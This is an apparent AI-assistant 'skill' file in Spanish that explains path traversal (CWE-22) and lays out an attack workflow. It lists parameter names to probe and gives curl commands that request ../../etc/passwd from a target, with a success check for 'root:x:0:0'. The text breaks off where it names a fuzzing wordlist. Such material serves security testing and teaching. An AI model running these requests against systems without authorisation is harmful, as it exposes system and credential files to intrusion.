path-traversallisted
Install: claude install-skill hackingyseguridad/IA
# Skill: Path Traversal / Directory Traversal
## Descripción de la vulnerabilidad
Path Traversal (CWE-22, OWASP A01:2021) permite a un atacante acceder a archivos
y directorios **fuera del directorio raíz del servidor web**, manipulando parámetros
de URL o inputs que contienen rutas de ficheros.
**Condición de explotabilidad**: el servidor concatena input del usuario con una ruta
base sin sanitizar correctamente, p. ej.:
```
/var/www/html/uploads/ + ../../etc/passwd → /etc/passwd
```
**Severidad CVSS típica**: 7.5 – 9.8 (Critical) cuando expone ficheros del sistema.
---
## Workflow de ataque
### Fase 1 — Reconocimiento de parámetros vulnerables
Identificar endpoints que acepten rutas o nombres de fichero:
```
https://target.com/download?file=report.pdf
https://target.com/view?page=about
https://target.com/img?src=/images/logo.png
https://target.com/api/docs?document=manual.pdf
```
Parámetros más comunes a auditar: `file`, `page`, `path`, `doc`, `documento`,
`template`, `src`, `img`, `view`, `resource`, `include`, `load`, `read`.
### Fase 2 — Prueba básica
```bash
# Prueba directa con curl (--path-as-is preserva los ../ sin normalizar)
curl --path-as-is -k -v "http://IP:80/../../../../../etc/passwd"
# Con parámetro GET
curl -sk "http://IP/download?file=../../../../etc/passwd"
# Comprobar respuesta: si contiene "root:x:0:0" → VULNERABLE
```
### Fase 3 — Fuzzing con lista de payloads
Usar el wordlist del repositorio **hackingyseguridad/directoriotraversal**: